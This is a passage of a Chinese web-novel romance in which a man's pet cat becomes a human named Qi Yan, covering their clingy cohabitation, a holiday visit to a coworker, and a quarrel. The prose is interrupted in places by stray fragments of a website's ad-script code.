“我之前用你手机查过,这是动物人生命濒死状态下身体启动的自我修复机制,为了保证生命健康而退化成小动物,直到恢复正常。” “什么?”林染听到这话一下子忘记别扭,语气担忧,“你之前动物的形态是因为快死了?” “可以这么说。”祁宴好像有皮肤饥渴症,说两句用脑袋蹭一蹭林染,“你别害怕,我现在好了。” 软软的头发在林染脖颈处摩擦,林染控制不住地耳根发烫。 虽然面前这个帅哥自称是咪咪,可是他是个男人啊,男人和男人说话为什么要贴这么近? 这样到底像什么样子! 林染忍无可忍,再一次挣脱对方的怀抱,伸出手摆出指令,让这只黏人的猫好好坐正。 “为什么?”祁宴眼睛一瞪。 被林染强行镇压。 “因为我不习惯。”林染终于从震惊和恍惚里走出来,恢复平时的模样。想起来这个家里自己才是说一不二的那位。“既然你是咪咪,就得听我的话,不听话就没饭吃。” 溺爱型家长秒变严格型家长,林染表面上绷着脸,内心崩溃。 摸着祁宴的猫耳朵,林染再次确认。原来他养的并不是猫,是一名动物人? 天杀的老天爷,还我毛茸茸小猫咪。 * 从浴室出来时,林染被水蒸气熏得恍惚。擦着头发,看到了靠在床头,边开电视边低头玩手机的男人。 春晚的声音传遍并不大的房间,伴随着窗外时不时的烟花声,让林染更清晰地意识到,今天晚上是除夕夜。 如果猫咪没有变人的话,此时此刻他应该洗完澡抱着暖乎乎的猫,盖着毯子窝在沙发里看电视。边看边哈哈大笑。 床上的人,长得帅身材好腿很长,但是从头到脚都非常陌生。 “穿着外衣外裤不许上床。”林染眉头一皱。 祁宴立即放下手机:“这是你的衣服,我没有睡衣穿。” 林染定睛一看,确实是他自己的衣服,可是那条裤子不是阔腿的吗,怎么穿在猫身上那么合身,还有点短。 林染刚想帮猫找睡衣,脚步却停留在原地一动不动,表情变得很苦恼。 找到睡衣之后要做什么,睡觉啊。 睡哪儿? 林染看着自己这一居室里,唯一的一张单人床:“你今天晚上怎么睡?” “和你一起。”祁宴像个网瘾少年,林染问一句话他抬一下头,“我想过了,床虽然小,但我俩抱在一起睡的话不会掉下去。” 你还想过了。 林染走过去从他手里夺走手机:“你今晚打地铺。” “为什么!” “因为我高兴。” 祁宴拉下脸:“可是我们之前都睡一起。” 林染避开这个话题,主动列举了之前他在浴室里想到的所有要问猫咪的问题。 “你今年多大,看着不像未成年。”这几个月经常跟在林染屁股后边喵喵叫的猫,捡到的时候,医生说它的骨龄才六个月。 “我也不知道,但我应该成年了。”祁宴起身,走向林染,“我知道你要问什么,在你捡到我之前,我不知道出了什么意外,记忆全都没了,又变成了猫,才被人类抓住。” “什么?”林染惊讶,“你一开始是人,出意外之后失忆了,之后才变成了猫?” 怪不得当猫几个月一直没什么破绽,能吃鸡胸肉和猫冻干,原来根本没有做人的印象。 祁宴走到林染面前,抽过他擦头发的毛巾,把人推倒在床边,像当初林染猫咪时的他洗完澡吹干猫毛那样,帮他擦头发,表情严肃。 “不过这几个月我多少恢复了一点。”语气没什么起伏,“我记起来我的名字叫祁宴。” “你还有名有姓的!” 林染突然觉得自己被欺骗。原来他养了几个月的猫从头到尾都是人。 太尴尬了!他还总是抱着猫咪亲,怪不得一开始咪咪拒绝他亲近。 林染的表情变得有些狰狞又痛苦,祁宴在他面前,一眨不眨地盯着他:“你什么表情。” 林染心情复杂,他开始思索这几个月来自己当着猫做过的蠢事,如今一一扫过,简直是他人生污点。 当面脱穿衣服都不提了,他好几次被工作吸干后下班回家,看到咪咪就跟个痴汉一样,冲上去就把猫抱住狂吸,任凭猫怎么反抗拒绝,甚至挠他脸,也还是死皮赖脸不肯松手。 抱猫亲猫也都十分常见,最重要的是林染常常果睡,猫咪还会窝在他怀里打呼噜。 真是天塌了。 谁知道一只小猫咪的灵魂会是个男人! 吹风机的声音响起,林染耳边都是噪音,魂游中,手突然碰到了什么。低头一看,是那条非常熟悉的、毛茸茸的猫尾巴。 林染坐在床上,祁宴站着给他吹头发,身后的尾巴自然和他目光近距离接触。 从前祁宴做猫的时候,林染喊咪咪的名字,这条毛茸茸的尾巴就会跟着动一动,更 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 快一步回应他。 尾巴并不算很长,微微翘起来扫过林染的手背,让他忍不住手贱去撩拨。 吹风机的声音陡然停下来,祁宴让他住手,林染才瞪大眼睛停止动作。 “人类不要随便乱摸猫尾巴。”祁宴垂下头看林染,脸色又红又臭,“这里很敏感。” “知道了……”林染很想把自己手剁了。 晚上睡觉的时候,林染执意要祁宴打地铺睡地上,祁宴虽然满脸不情愿,但还是答应了。 关掉灯,刚过凌晨,林染在被窝里逃避似的一头扎进手机,给同事发新年祝福,窗外烟花声震耳欲聋,持续很久。 声音很大,根本没办法入睡,不知道祁宴能不能睡着。 林染后知后觉地品味起猫咪本来的名字,原来他叫祁宴。名字还蛮好听的。 可是接下来要怎么办。 是应该把他送去警察局找家人,还是…… 林染摇了摇头。 碰到这种事当然要给他找家人,否则祁宴不就是黑户? 可是……林染有点舍不得。 祁宴本就是他的猫,早被林染划分进家人的领域。如果祁宴走了,他的猫呢? 谁能还给林染他的小猫。 林染鼻子有点酸。 突然,手机振动了一下,林染解锁,发现是江嫣回给他的新年祝福。刚要回复,就听到一阵摩擦的声音,在窗外稀稀拉拉的烟花声中,不明显地响起。 林染反应过来的时候,祁宴已经掀开被子爬上他的床。 “你!”林染只来得及发出惊呼,“你干什么!” 滚烫的胳膊再次缠上来,林染被祁宴抱的紧紧的,挤进来一条腿,叫他惊慌地想要推开身上的人,却听到祁宴很低的声音。 听起来有点委屈。 林染愣住了。 “干嘛呀?” 那个常常挂在嘴边的称呼被吞进肚子里,林染拍了拍祁宴的背。 祁宴则是语气硬邦邦地说:“我生气了。有三件事要说。” “……有屁快放。” “第一件事,地上很冷,我睡不着。” 你以前一只猫睡猫窝的时候也没见不开心。 “不行,我不习惯和男人抱在一起睡觉。” “好吧。”祁宴抿了抿嘴唇,决定半夜爬上床,“第二件事,你是不是不高兴我变成人。” “不是……就是没习惯。” 祁宴说:“你多习惯习惯,我以后都会是这副模样。” “……” “第三件事,你没对我说新年祝福。” 林染满脑子郁闷都被祁宴霸道又幼稚的行为驱散,要不是他单方面觉得自己和祁宴不大熟,他都快笑出来。 于是在黑暗里摸了摸他的猫耳朵,就像之前摸猫那样。 “行行行,新年快乐。” “你给谁说新年快乐?我叫祁宴。”还是不满意。 “事儿真多。”林染瞬间没好气,真想给他呼上一巴掌,“祁宴,新年快乐。行了吗。” “哼。”从鼻子里喷出冷哼,祁宴闭上眼睛思索着不久前从林染手机里学到的,嘴里念念有词,“林染,你也新年快乐。祝你新的一年顺顺利利,健健康康。” 林染:“……” “这才是新年祝福,学会了吗?”语气鄙视。 林染没忍住,一巴掌拍在他屁股上:“用你教我,我才是人类,土包子。” “下去!睡你的地铺。” 11. 情侣博主 林染带着祁宴来到江嫣小区楼下的时候,人还是懵的。 他早就约好大年初一带着咪咪去同事家做客,结果猫在前一天变成人了。犹豫很久,最终还是给祁宴裹上厚厚的羽绒服,拉着他出门。 祁宴个子高,长得又好看,两人一前一后走进地铁,全车厢的目光瞬间聚集在他身上。 动物人群体本就比普通人类颜值高,再加上猫耳和绿眼睛,板着脸双手抱胸靠在车厢里的祁宴,跟个出来体验生活的少爷似的,贵气逼人。 还是昨天那条牛仔裤,套上了黑羽绒服,虽然领子拉得很高,但显得脸更小了。高挺的鼻梁和漠视一切的双眼,周身的气质太过出众,差点让人以为他坐的不是地铁,而是什么几百万一辆的豪车。 林染大概是从见到人类版的祁宴的那一刻起,就觉得他长得很漂亮。虽然林染对美丑不敏感,但就是有这一类人,纯靠五官就能统一大多数人的审美。祁宴就是这样的人。 两人下车时,林染目睹一位兔系动物人女孩跌跌撞撞地从人群里冲过来,面带羞涩地询问祁宴的联系方式。 哇,真不愧是他养的小猫,好受欢迎。 林染还想旁观猫咪怎么处理这件事,就看到祁宴的目光直勾勾朝自己投射而来。 林染:“?” 看我干什么? 沉默了半分钟,林染后知后觉祁宴在向自己求救,刚要开口,就见那位娇俏可爱的小兔子,脸颊瞬间爆红,双眼如同镭射灯在两人身上扫射,嘴里说着不好意思,拉着同伴往后退。 远去的时候,林染甚至还听到她嘀嘀咕咕:“妈呀,是一对!跨物种恋爱!” 什么意思? 反应过来的林染瞳孔地震,深吸一口气,转头看向身边的祁宴。 对方像是什么都没听到,面不改色地探出手拽住他的衣袖,一点都没被这话影响。 “你听到了吗。” “听到什么。” 林染一肚子的话硬生生被憋回去:“……没什么。手松开。” “外面人类的气味太杂乱了,我有点紧张。“ 虽然在他的脸上看不出任何“紧张”的样子,可就这样一句话,让林染掰祁宴手指的动作停下来。 林染立即想到祁宴做猫时的样子,毛茸茸的、眼睛亮晶晶的,全身心都对林染非常依赖的模样,缩在他怀里。 林染心软了:“……随便你。” “嗯。” 祁宴满意地抓紧他衣袖。 虽然这样一直抓着会让路人更加误会两人的关系,可林染面对祁宴实在是缺乏原则,没怎么深思熟虑就各种放纵猫咪的行为,哪怕昨晚上半夜被爬了床,也没有太多的抵触。 直到意识到一路上越来越多投射过来的目光,才逐渐反应过来,两个大男人这样在路上走着,其实并不大符合常理。 林染身体僵硬地走到江嫣家楼下,很显然同事和她对象也很意外林染突然多出来这么个大帅哥表弟,但还是很热情地招待了两人。 他们都是选择过年不回老家待在大城市里的打工人,因此会在假期聚在一起抱团取暖。 “对了,还有人要来,是我和婷婷的朋友。” 江嫣家不大,但很温馨。到处都是生活痕迹,摆放着各种小装饰。 祁宴扫一眼桌底,躺着一只胖猫。猫咪和祁宴对视一眼,本能察觉到强大同类的危险,不安地转头钻进角落里的猫窝,只露出毛茸茸的猫尾巴。 客厅很宽敞,祁宴淡然自若地坐在沙发上看电视,林染则主动跑进厨房帮忙。 他有意识地在避开祁宴,自从昨晚上猫变成人,林染觉得哪里都别扭。 林染平时也算脸皮厚的人,面对祁宴只能甘拜下风。只能说服自己,祁宴虽然已经变成了人,但还是很依赖作为主人的自己。 这么一解释,祁宴太过黏他的行为也说得通。林染是个直男,不大能接受同性别的大男人居然这么黏自己。但他仍旧很爱那只叫咪咪的猫,于是和祁宴相处时,尽可能包容。 保持距离这件事,还是循序渐进好了,不能让孩子伤心。 做饭中途林染有点渴,走去客厅喝了口水,没想到居然看到江嫣正和新来的客人坐在祁宴身侧,三人似乎在闲聊。 咪咪在和不是自己的人社交。 林染脚步顿了顿,回到厨房时脑子里还在回荡着这句话。 他觉得有点意外。 毕竟当初为了感化这只坏脾气的猫,他算得上是受了很多的苦。现在祁宴居然能这样其乐融融地和别的人类畅聊。 林染甚至有点吃味。他养的猫,怎么不凶别人,光凶他了? 努力忽视心底的异样,林染帮唐婷备好菜,又找了个借口穿过客厅去厕所,途中被江嫣家的大胖猫拦路,林染忍着没去摸。 昨晚上睡前祁宴和他唧唧歪歪抱怨,林染身上偶尔会有别的猫咪的味道,他很不喜欢。 余光扫过沙发前的三人,还在聊天。祁宴更是看都没往自己这里看。 林染弯下腰摸了摸猫咪,随后快速推开洗手间门,进去洗了把手,心情复杂地硬待了几分钟。一出门,就听到江嫣喊他的名字。 “染染,过来休息一下。” 林染终于听到这句话,目光坦然地走过去在祁宴身边坐下,就看到刚才聊天时还弯着嘴角的人,笑容顷刻间就消失了。 这个变化很快被林染敏感的捕捉到。 怎么了?自己没过来的时候,祁宴和女孩子们笑得这样开心,过来了就立马拉下脸。 林染觉得难以置信。这还是他疼了几个月的猫吗? 江嫣神经大条,没意识到局面突然暗潮汹涌起来,拽着林染就开始吐槽工作,狂骂领导十分钟。口干舌燥的时候,想起来祁宴没怎么说话。 “祁宴弟弟是什么做什么工作的?” 祁宴的目光瞥过江嫣刚才拽林染的手,语气没什么起伏:“没工作,我哥养我。” 这话一出,场上几人都沉默了。林染连忙打圆场。 “他还在读书,开玩笑的。” 江嫣松了一口气,口无遮拦:“原来如此,差点以为你俩在搞什么奇怪的包养play。对了,你俩一个是人类,一个是动物人,怎么成了表兄弟的?” 又是一个很难回答的问题,林染急忙想了想,刚要开口,感觉一根毛茸茸的东西扫过他的手腕。非常强势又霸道地挡在他身前,蹭他。 是祁宴的尾巴。 比刚才摸的那只猫手感好。林染忍不住在心底评价,真不愧是他每天鸡胸肉和冻干养出来的猫咪。 “我爸妈是跨物种恋爱。”祁宴学习能力极强,听到地铁上的兔子这样形容他俩,直接搬来做借口。 意思也很好理解,但是这个词在现在的社会还是太超前了,直接惹得江嫣瞪大眼睛,连连感叹。 “太潮了。”江嫣竖起大拇指,“虽然这几年跨物种恋爱变得流行,但我记得几十年前动物人为了保持血脉的纯粹,明令禁止不能和人类通婚,你爸妈够叛逆呀。” 还有这说法?祁宴意外地挑了挑眉,转头看向林染,表情无辜。 你不是没听到那只兔子说的话?叫你满嘴跑火车。林染咬了咬牙。 没办法,自家猫的烂摊子当然由他来收拾。 “确实很叛逆,也比较随性,没怎么管过他,来s市投靠我了。” 面对这种扯谎到离谱的话,林染都有点愧疚,可江嫣仍然毫不犹疑,还夸动物人基因真好,生出祁宴这么个大帅哥。 “你知道吗,我看到他第一眼就想把他打包送进mcn公司,可真是个好苗子。”江嫣笑嘻嘻地说,“我没告诉你吧染染,我打算年后辞职不干了,和婷婷一起做博主。” 林染愣了愣。 “什么博主。” “情侣博主呀。”江嫣脸上有点红,“婷婷本来就是网络达人,在短视频平台上几万粉丝呢,最近公司让她转型,我俩商量一下,情侣博主最好做,反正我俩是真的。” “什么意思,还有假的?”林染自己也在短视频平台上发游戏视频,但对别的赛道不大了解。 “对呀,好多情侣博主都不是真情侣,有剧本的。”江嫣撇撇嘴,“但是他们长得好看,又肯营业,CP特别甜,粉丝很多,一场直播下来一套房的首付都出来了。” 来江 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 嫣家做客的那位女孩很显然也是做自媒体这一块的,立即应和:“像祁宴弟弟这样的,肯定是各大mcn公司都抢着要的香饽饽。怎么样,要不要考虑一下。” 这话题聊得太远,林染想起祁宴现在甚至还是个黑户,只好笑着找借口拒绝:“他妈妈可能不会同意。” 热热闹闹地吃过饭,祁宴在江嫣的怂恿下喝了两口酒,林染一直很紧张地盯着,在手机里搜索猫喝酒会不会死。 好在得出的结果是不会。 临走的时候林染被江嫣塞了一大堆过年礼包,祁宴非要拎着,林染抢不过就随他去了。两人赶上最后一班地铁回家,到家附近时,祁宴人已经歪歪扭扭,却还是把那礼包牢牢抓在手里。 “又没人和你抢。”林染扶着他,“干嘛呀,我们家也不缺这个,我平时是少了你吃穿了还是怎么了?” 这话说的实在是阴阳怪气,就像是自家孩子在邻居家吃了零食不肯吃饭,操心的父母忍不住抱怨。 林染自己毫无察觉。 “我帮你拿不行吗。”祁宴抓紧他的手,有点不高兴道,“染染。” 林染愣住了。 “……你干嘛,没大没小的。” “我不可以叫吗。染染。”祁宴喝醉了,语速卡顿,有点呆,配上他那张妖孽过头的脸,着实反差巨大。林染忍不住捂住他的嘴。 可下一秒,温热的嘴唇和舌尖就沾湿了林染的手心,他像是被吓到一般抽回手。 “你耍流氓啊!” 林染想躲,被祁宴一把拽回来。 “谁流氓,谁昨晚上拍我屁股。” “那是不小心的。” “那我也不小心。” 两人边走边打闹,大冷天北风呼呼地吹,林染却被惹得在羽绒服底下出了身汗,回到家后冷静下来,躲着祁宴就要去洗澡,被一双大手拦住。 身前的人高挑又结实,任凭林染怎么绕都绕不过,屋子又小,只好停下来装凶问他想干什么。 “又干什么你?” 林染实在是有点受不住喝醉了的祁宴,简直比昨晚上还难缠。 他彻底陷入了一个两难的境地。 既不想像以前祁宴做猫那样无条件溺爱他,又想要和祁宴保持距离。可偏偏,两条路线都走得不尽如人意。 而祁宴面对他的拒绝,始终面不改色,一次不行就提第二次。 猫咪脸颊两侧却染上了不浅的红晕,更夸张的是一路红到脖子,白皙的皮肤完全变成了粉色。 “想洗澡,可是我一个人不行,帮我。”语气理直气壮。 林染:“?” 别得寸进尺。 林染在亲近猫咪和疏远猫咪之间徘徊,被愧疚和不安持续拉扯,一旦产生拒绝的想法,对祁宴的宠溺就开始泛滥,可帮忙洗澡这件事太过超越底线,想了想,林染还是不打算惯着他。 立即板起脸。 “自己洗!” 祁宴听闻蹙起眉,一副很苦恼的模样垂下眼睛:“可是以前都是你帮我洗澡,我现在站不稳。” “因为你当时是猫。”林染心揪了一下,“但是你现在……” 祁宴抬头看他,虽然语气很平静,却显得有点委屈。猫耳朵都耷拉下来。 “我就知道你不喜欢我。”祁宴顶着非常冷淡的脸说,“你说过你不喜欢我。” 天杀的。当初和猫咪吵架的记忆瞬间被唤醒,林染捂脸。 尴尬且无奈。 你现在又不是猫,说什么喜欢不喜欢,翻什么旧账。 这小子喝醉了酒这么这么难搞?之前不是还很凶吗,在这装什么可怜。 到底和谁学的。 “那让我一个人淹死算了。”祁宴紧紧盯着他,越说越气,语气控诉,似乎他做了什么非常过分的事,“你不知道猫都怕水吗?” 林染的脸颊肌肉颤抖了一下,感觉自己的良心像是漏了筛的水,哗哗地流。自己要是再不答应,这笨猫该给他扣上虐猫的帽子了。 在明确醉酒的祁宴确实无法自己完成洗澡这件事后,没办法,林染只好无奈地把他推进浴室。 “帮帮帮,你别说了。” 12. 黏人精 浴室并不大,甚至没做干湿分离,一个人进去不显拥挤,两个大男人待着就有点喘不上气。 林染看着身前高挑修长的背影晃了晃,像是控制不住平衡,骤然倒在自己身上。 两人进了出租房就脱掉羽绒服外套,此刻都只穿了一层衣服,靠在一起的时候能感受到对方的体温。味道还都一样,唯一有差别的是祁宴身上并不浓郁的酒气。 “没力气,帮我脱衣服,裤子我自己来。” 林染帮祁宴把衣服从他身上剥下来,露出白皙的肌肤,和肌肉线条完美的腰身。裤腰裹着他小腹处的六块腹肌,手指不小心擦过,都会让这片皮肤瞬间变成粉色。过于显眼。 不自觉屏住呼吸,林染盯着祁宴拽开裤头,直到发现他的动作停顿了好一会儿,才后知后觉地抬起头,和祁宴视线相交。 “想帮我?”祁宴眯了眯眼,把全身的重量都压在比他小半个脑袋的林染身上,毫无顾忌地去捕捉林染近在咫尺那双漂亮的眼睛,“你来。” “滚。” 林染避开他坦荡的视线,心脏控制不住地狂跳。他觉得自己大概是有病,才会答应祁宴帮洗澡这种细想之后十分荒唐的要求。 浴室冷白的灯光下,林染的眼珠仿佛琉璃一般溢出点点亮色,随后垂下眼帘,挡住不自在。 “你自己洗,我走了。” 刚要转身,滚烫的气息裹挟着酒味凑到林染脸侧,像还在做猫的时候,黏人地用鬓发去蹭主人的脖颈。林染被迫停住脚步看他,只能看到高挺的鼻梁和模糊的睫毛阴影。 “怎么说话不算话。” 林染:“……” 他很想对祁宴说,你已经不是猫了,这么大一个男人做什么跟同性撒娇。可没能说出口。 林染虽然性格活泼思维跳跃,在人群中看起来很外向,可他对于一些事情意外的保守。总是会在某些时刻,不由自主地回避一些他无法处理的情绪,刻意去转移、忘却,当做没看到没听到,似乎这样才更自在。 这是属于林染的处事原则,因为生活经历养成的独特的他。没觉得有什么不好,暂时不打算改变。 祁宴贴着林染,见他没再说要离开,开始自力更生脱掉库子。 两人磨磨蹭蹭半天,最后还是林染不耐烦了,闭着眼睛把花洒从架子上拿下来,拧开开关。 热气顺着热水从花洒里腾升,很快,狭小的浴室就被雾气笼罩,弥漫在林染脸上,让他有点不舒服。 “快点。” 猫面对水有不由自主的惧意,头更晕了,导致祁宴的动作有些慢,听到林染催自己,抿了抿嘴唇。 “我怕水,没骗你。”随后加快速度冲洗,边洗边抱怨,“你就不能帮我擦擦吗。” 祁宴失去了记忆,有印象以来就是林染帮他洗澡。他做猫的时候对这件事十分反感,林染非要拽着他,现在变成人了,扶一扶也不乐意。 两人距离很近,林染一只手拿着花洒,另一只手还得伸出来任由祁宴挂着。热水落在地上的瞬间,全部溅到林染裤子上,很快打湿,变得十分沉重、黏腻非常。 祁宴的视线在模糊的空间里转了转,看到沐浴乳在林染身后:“你身后的罐子,递给我。” 林染眉头蹙起,在心底发誓下回不管这臭猫怎么说,都不会再进来伺候他洗澡了。这语气跟使唤太监的皇上一样。 “你最好是真醉到站不稳。”林染递沐浴乳给他。 好不容易洗完澡,祁宴沾了水的头发黏在头皮和耳朵边,有点不舒服,完全忘记身边还站了个人类,像猫咪一样习惯性地甩了甩身上的水珠。 “你……” 林染猝不及防又被溅了一脸水,此刻浑身上下几乎没有一块干的地方,衣服都贴在身上,几乎无法透气。心底涌出郁闷,呲起牙刚想教训猫,却忘记了要闭眼,毫无防备地看到了一副年轻健壮的赤果身体。 修长的双腿,结实平坦的小腹,完美的下颚线条,以及高挺的鼻梁和那双碧绿的眼瞳,颜色很浅,透彻似水晶。 于是满肚子指责又被咽了回去。 林染:“……” 祁宴:“……” 两人对视片刻,林染发出小声的抽气声,眼睛瞪大,露出惊讶的表情。 他实在没有想过,自己有生之年可以看到一位同性的果体,就这样大喇喇地展露在眼前。 而罪魁祸首祁宴边抹脸上的水珠边盯着林染,脸上没有一丝不自在,嘴里是若无其事的“不好意思”,甚至还厚颜无耻地想凑过来,问林染自己身材怎么样。 嘴还没张开,就听到“砰”地一声。 林染黑着脸把浴室门拍在祁宴的脸上,震天动地。 “洗完澡不穿衣服冻死你算了!” 祁宴:“……” 干嘛反应这么大,这是在洗澡,水都没擦干穿什么衣服,脸皮这么薄。 扫一眼紧闭的浴室门,祁宴手指随意地捋了捋湿漉漉的头发。 他可不会告诉林染,自己做猫的时候已经看光林染很多遍,身材跟小鸡仔似的。 又白又瘦,摸起来肯定也软软的没有什么肌肉。 如果可以,他希望林染可以保持运动。毕竟新闻里说,社畜们的身体因为高强度工作,普遍都不怎么样。 祁宴可不想看到哪天在电视上看到社畜铲屎官突然进医院的噩梦新闻。 擦了擦脸上的水珠,裹着浴巾推开浴室门的祁宴,仍旧大喇喇地来到林染面前,理直气壮地要他帮自己吹头发。 结果刚走到电脑桌和屋子里唯一那张大床中间,低头一看,地铺已经打好了。 “……动作这么快,才几分钟。” 林染手中忙碌且利落地放好被子,抬起头面无表情地回看他:“我认为健康关系的第一步就是保持合理的距离,你说对吗。” 祁宴很想说不对,但他看到林染的表情,仿佛自己敢说一个不字就会血溅当场,识相地闭上嘴,自己吹头发。 晚上熄灯睡觉,林染洗完澡清清爽爽地躺在床上,边摊开身体边在心底感叹,这床还是一个人睡觉舒服。 他迷迷糊糊地抱着怀里的被子,眼看快要睡着,突然床面一震,感觉床角似乎陷进去了,随后就是一双大手慢吞吞地伸到他的腰腹处一捞,把林染镶进某只大猫的怀抱。 林染瞬间清醒:“滚下去。” 昨晚上半夜爬上床热死又挤死了,今天还想,门都没有。林染被打扰休息的烦躁涌上心头,他开始反思自己是不是太给这大块头脸了? 突然从猫咪变成人的惊吓费还没收呢?每天还得给他擦屁股,各种收拾烂摊子。 他喜欢的是小猫咪,不是一米八的大男人! “地上好冷。” “滚。”语气坚决。 祁宴又开始压低声音。他一这样就显得有点可怜。 “你知道的,我从小就没有妈妈。”祁宴说,“也可能是因为我失忆了记不起来。” “……” “我睁开眼睛看到的第一个人就是你了,你得对我负责。” 和猫咪相处的几个月回忆又开始拉扯林染的良心,林染的烦躁逐渐消散,铲屎官在困倦中沉默了很久。 “……闭嘴睡觉。” 祁宴如愿以偿地抱着自己的主人,像过去主人抱他的每一个夜晚那样,安心地将自己的脑袋贴在林染背上,舒舒服服睡过去。 第二天、第三天,甚至第四天,直到林染过年的假期休完,两人都是这姿势入睡,又是这个姿势醒来。 每当林染让他滚下床睡觉,祁宴都会想尽各种理由激发林染所剩无几的同情心和怜悯,最后半推半就地还是选择妥协。 放假最后几天,林染甚至已经彻底放弃说让祁宴打地铺这样收不到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 任何反馈的指令。 忍不住叹了口气。太黏人了,怎么会这么黏人呢。 林染非常苦恼。他过去总觉得自己对猫过于溺爱,以至于常常责骂都要脱口而出,却在最后一刻吞进肚子。 现在猫就算已经变成人,林染面对祁宴的霸道行为也根本无法拒绝。 他一点也不喜欢和任何人有亲密的肢体接触,偏偏总是在祁宴的软磨硬泡中放弃自己的抵触。一点原则都没有。 这期间,祁宴开始霸占林染的电脑到处浏览学习做人小技巧。正式上班的前两天,他甚至在林染直播结束后,提出自己也想找工作这件事。 “怎么突然想工作了。”林染不解。这世界上最美好的生活方式就是不用打工,这个苦自己吃就够了,祁宴如果想当一辈子猫,自己当然也会努力赚钱养他。 就是生活费可能不大多,得省吃俭用。 难不成是觉得家里供不起他当米虫了?林染疑惑。 “我虽然每个月要还贷款,但是生活费也是会给够你的。” “不够。”祁宴冷静地分析,他学的东西很多也很快,不仅熟背基础常识,甚至还认识了一些专有名词,“我现在变成人了,饭量变大,日常生活需求所要的开支也变大了,我不希望这些都压在你头上。” 上进又懂事的小猫。林染对祁宴还挂着猫咪的滤镜,一下子忘掉他太过黏人的坏习惯,感到骄傲又欣慰,并表示全力支持。不过落户还是个问题,需要解决一下。 上班前一天,林染拉着祁宴赶去离家最近的派出所,重新办理了户口。 事实上,虽然政府已经立法保护动物人很多年,动物人群体也正常地繁衍了许多代,但像祁宴这样突然从动物变成人类的存在,仍然不少。 稍微和民警解释了一下猫咪变成人的过程,林染有点不舍,还是告知了对方祁宴的名字,并希望帮助寻找祁宴的父母。 本以为祁宴听到这件事会高兴,结果刚走出派出所人就甩脸子。 “你就这么想我离开你?” 林染愣住了。啊?生气了? 祁宴见他不说话,脸色又难看了些。 他变成人已经一周的时间,两人之间发生了不少事。虽然每天还是抱在一起睡觉,看起来和过去一样亲密无间,可祁宴还是很敏锐地察觉出林染对自己态度的变化。 他自尊高又嘴硬,就算心里觉得不安,也不愿意把这种话挂在嘴边,而是非常强势地将自己挤进林染生活的各个角落,企图用这种行为来让林染重新接纳自己。 当然祁宴也并没有不想找回记忆和家人。但是看到林染这么急吼吼把自己抛出去,他就是觉得很不爽。 “你又生气了?”林染试图安抚,可他本就不是喜欢哄人的性格,面对人类的祁宴更是说不出太肉麻的话,“你怎么总是在生气,你们小猫都这么爱生气吗。” “我现在是人。” 安抚失败。林染无助地眨了眨眼睛,沉默了。 见他不再说话,甚至也不愿意多哄自己两句。祁宴气得眉头都紧紧皱起,面对林染这样平静的反应,觉得他实在是太过分了。 哪怕说一句“我没有想把你送走,只是想让你找到自己家人”这种冠冕堂皇的话来骗骗自己也不行吗,摆出一副一点也不留念祁宴的冷漠无情模样。 真碍眼。 虽然祁宴总爱把“林染你是不是不喜欢我了”这种话挂在嘴边,可他就是仗着林染喜欢他才会这么说。他就是一个恃宠而骄的人,一点都不想掩盖的自己的缺点。 因为林染会无条件包容他。至少曾经是这样。 他就是祁宴,就是那只猫,即使变成了人,也还是林染最喜欢的猫。 祁宴完全不能理解林染为什么要这样对自己。 都是林染的错,于是祁宴很快做出决定——这次林染不哄他半小时就不消气。 13. 找工作 回到家,祁宴臭着脸把自己裹进被子里,背对着林染不说话。 林染觉得有点头疼。 从前祁宴是猫的时候,林染能瞬间想到一百种驯服乱发脾气猫咪的办法,实在哄不动就暴力镇压强制爱,抓进怀里亲半个小时就气消了。 可现在祁宴变成了人,他下不去这个手。纵使林染再怎么催眠自己,也还是会对猫咪版祁宴和成人版祁宴做刻意的区分。 没办法,林染承认自己是毛茸控,小猫只是趴在沙发上睡觉,就能让他父爱泛滥冲过去亲亲抱抱半天,但是男人闹脾气,那就是没事找事滚远点。 林染想了想,这还是祁宴变成人后,他们之间第一次闹别扭。 晚上睡觉前,两个人占据单人床的两边,明明床非常狭窄,却也还是尽量不挨着对方。熄灯后林染轻轻地拍了拍祁宴,没反应,只好闭上眼睛专心睡觉。 祁宴等着林染哄他,却等到对方陷入沉睡,心都凉了半截,在床上瞪着眼睛对抗自己的生物钟到凌晨三点。最后感觉到窗外微亮的日光,和逐渐聒噪的鸟叫,才不甘心地昏睡过去。 两人莫名其妙的冷战持续到林染上班,离开家时,林染甚至还觉得祁宴故意躺在床上装死。 爱气就气呗。林染面无表情地想,给猫惯的,气性这么大。 林染挤了一个小时地铁来到公司,看到工位上莫名其妙多出来的一份不属于自己的东西,根本不用问是谁的,十分钟后,手机里弹出领导王语发出来的一个地址。 “寄快递。” “收到。” 心底骂了两声脏话,林染皱着脸拿起快递往公司门口走,正撞上来上班的江嫣。 “你怎么才来?” 江嫣拉着他,笑嘻嘻:“我来辞职你忘了。别给他打杂了,来姓王的办公室看戏,看看老娘怎么把这个废物关系户骂得狗血淋头。” 十分钟后,林染目睹了一场发生在领导办公室里的世纪大战。 江嫣甚至刻意没关门,声音震耳欲聋,林染位置离得近,感觉自己的耳膜都在哀嚎。部门里的社畜们看似没反应,实际上边偷听边在心底鼓掌。 众人私下的小群一分钟刷了几百条,全都在发“骂得好”“女王”“英雄”。 林染幸灾乐祸地目送新晋女王气势汹汹离去,瞥一眼办公室里气到红温的领导,和江嫣约了下班见面。 大概是在下属面前大丢面子,领导没到下班时间就提前离去,剩下的众人终于光明正大摸鱼。林染熬到时间,放下工作往外跑,没想到在公司楼下看到了熟悉的臭脸。 写字楼的暖气很足,祁宴高挑的个子靠在墙边,双手抱胸面无表情,这是大猫在外时常见的动作,看起来心情很差劲的样子。 但其实林染知道,祁宴只是因为没有手机很无聊,且在人类很多的地方感到不安,才做出这副拒绝一切的模样。 可就算是这样,仍旧有源源不断的人,一个接一个地走过去问祁宴的联系方式。 林染一开始还以为自己眼花,但当他看到自己在超市大减价抢回来的丑外套被祁宴穿在身上,像今年新春时装展上最耀眼的模特时,他迷惑了。 原来不是衣服丑。 猫尾巴已经不耐烦地拍打着身后的墙壁,林染觉得自己再不出现,祁宴可能就要骂人了。 